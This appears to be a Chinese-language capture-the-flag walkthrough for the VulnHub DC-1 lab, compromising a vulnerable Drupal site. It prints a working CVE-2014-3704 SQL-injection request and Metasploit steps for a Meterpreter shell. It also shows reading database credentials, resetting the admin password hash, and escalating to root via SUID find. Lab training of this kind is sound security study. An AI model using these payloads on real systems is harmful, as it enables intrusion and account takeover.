靶场下载地址:https://download.vulnhub.com/dc/DC-1.zip
实验背景:DC-1是一个易受攻击的实验环境,最终目的是让攻击者获得root权限,并读取flag。
攻击机ip:192.168.179.131 DC1靶机ip:192.168.179.7 目标:获取靶机上的5个flag
1.内网渗透
先利用namp扫描整个网段,找出靶机的IP为192.168.179.7
2.端口扫描
扫描所有开放的端口,找出的开放端口为80,22,111,57722
根据对应的端口,找到可能存在的漏洞,找到一个代号为cve-2014-3704的漏洞
3.漏洞复现
该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block
&op=Log in
通过burp抓包,构造post请求,报错注入成功
4.扫描指纹
要下载插件扫描指纹信息,用kali自带的whatweb插件;
whatweb 192.168.127.136
5.漏洞扫描
利用msf查到有关drupal的漏洞
找到其中一个2018年的漏洞进行攻击尝试
查看所需设置参数:show options
设置目标主机IP:set rhost 192.168.179.7
进行攻击:exploit或者run
看到Meterpreter session 1 opened,命令正常运行,说明漏洞利用成功,注意没有回显
可以用命令 python -c 'import pty; pty.spawn("/bin/bash")' 构造一个回显
然后用ls命令查看当前目录下的文件
查看里面的敏感文件
查看flag1.txt,只有一句提示信息
查看robots.txt,可以看到有许多的站点
6.信息收集
根据flag1.txt一步步找到配置文件,在目录/sites/default/settings.php下
cat查看该配置文件,发现了数据库为mysql数据库,数据库名为drupaldb,用户名为dbuser,密码为R0ck3t,本地登录账号。另外发现flag2也藏在里,这里提示我们要提权
用该用户名密码登录到mysql
查看数据表,切换到Drupaldb数据库使用use drupaldb,查询users表;
drupal存储用户密码:把密码和用户名或其它随机字符串组合在一起后使用 MD5 方式加密。
7.密码破解
不知道什么加密,find看一下有没有加密脚本
成功发现脚本,运行一下脚本,随便一个密码,这里用123456,计算出哈希值
再次登录进入到mysql,改密码,用刚刚的哈希值
这样子web登录界面的账号密码被被改成了
-
账户:admin
-
密码:123456
用改过的的账户密码进行登录,登录成功
在随便翻翻之后找到了flag3
8.find提权
根据flag3的提示,去查询/etc/passwd;找到flag4;
尝试访问flag.txt,但是权限不够
这时候我们可以看到find有suid权限,可以利用find提权到 root 用户权限,所有通过find执行的命令都是root权限,那么使用find -exec生成一个具有root权限的shell,执行成功后可以cd到root目录下,说明提权成功.
find -exec '/bin/sh';
在root目录下找到最后一个flag,项目完成。